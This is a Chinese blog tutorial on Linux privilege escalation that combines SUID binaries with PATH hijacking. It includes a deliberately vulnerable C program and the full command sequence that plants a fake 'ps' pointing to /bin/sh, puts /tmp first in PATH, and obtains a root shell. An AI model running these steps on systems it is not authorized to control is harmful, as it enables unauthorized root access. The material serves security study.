内网提权:suid+劫持环境变量提权

suid+劫持环境变量提权

提权原理

SUID 是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。

例如,所有用户都可以执行 passwd 命令来修改自己的用户密码,而用户密码保存在 /etc/shadow 文件中。仔细查看这个文件就会发现它的默认权限是 000,也就是说除了 root 管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用 passwd 命令时如果加上 SUID 特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到 shadow 文件中。

$PATH主要用于定义可执行程序的搜索目录。可执行程序包括Linux系统命令和用户的应用程序。

当某个程序调用system(“ps”)时,系统就会按照PATH环境变量中定义的顺序搜索ps,如$PATH=/tmp:/usr/local/sbin,则先搜索/tmp目录,若没有则搜索/usr/local/sbin目录。

因此PATH环境变量劫持的原理就是将调用程序的路径添加到PATH环境变量的前面,让它优先搜索加载我们自定义的程序。

环境变量劫持提权的原理就是我们劫持了一个本身就具有SUID权限、root身份运行权限、可sudo的程序。不过普通用户没法修改root用户身份运行程序的环境变量,sudo需要知道当前用户密码,所以一般结合suid进行提权。
$PATH内容

提权条件

​ (一)找到一个具有SUID权限或SUDO(需要当前用户SUDO密码,有密码了一般也不需要这样提权)的程序。
​ (二)strace观察程序调用了哪些系统命令/用户程序。
​ (三)使用环境变量劫持这个程序并运行它。

一、找到可利用的具有SUID的程序

使用find命令

find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

PS:若发现find命令本身是有suid的文件,那可以直接在find命令后面加exec参数直接执行命令,如:find test -exec whoami \
在这里插入图片描述

在这张图中,我们找到一个test文件,它有着suid权限,且在我们的用户可管理的目录之下。在我们执行它的时候可以看到它其中包含执行了ps命令,此时,我们可以使用PATH环境劫持来进行提权。

二、PATH环境变量劫持提权

提权全过程

​ 1.现在有这样一个程序test,用户test需要用它执行ps命令,并且需要SUID权限:

//test.c
#include<stdlib.h>
#include <unistd.h>int main()
{
setuid(0);//run as root
setgid(0);
system("ps");				
}

​ 2.编译并且赋予SUID权限:

image-20220609150903344

​ 3.我们拿到一个test用户shell,通过find查找具备SUID权限的程序,发现了它:

find / -user root -perm -u+s -print 2>/dev/null

在这里插入图片描述

​ 4.将test下载到本地或在目标安装运行strace,追踪程序,发现程序执行了ps命令:

在这里插入图片描述

​ 5.于是我们就可以劫持ps命令进行提权,直接获取到root用户的bash:

#查看当前环境变量
echo $PATH#将/bin/sh写入到/tmp/ps,并且修改权限:
#上面命令也可改为复制:cp /bin/sh /tmp/su
echo /bin/sh > /tmp/ps
chmod 777 /tmp/ps#修改环境变量,将/tmp目录放到前面:
export PATH=/tmp:$PATH#运行test程序,由于它具备SUID权限,所以劫持后成功提权:
./test

​ 6.这里能看到uid、gid都变成了root是因为我们的程序调用了setuid(0)和setgid(0),没有显示euid是因为uid和euid相同的时候它不会显示:
在这里插入图片描述

参考文章:

🔗ATTCK权限提升-Linux提权总结

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值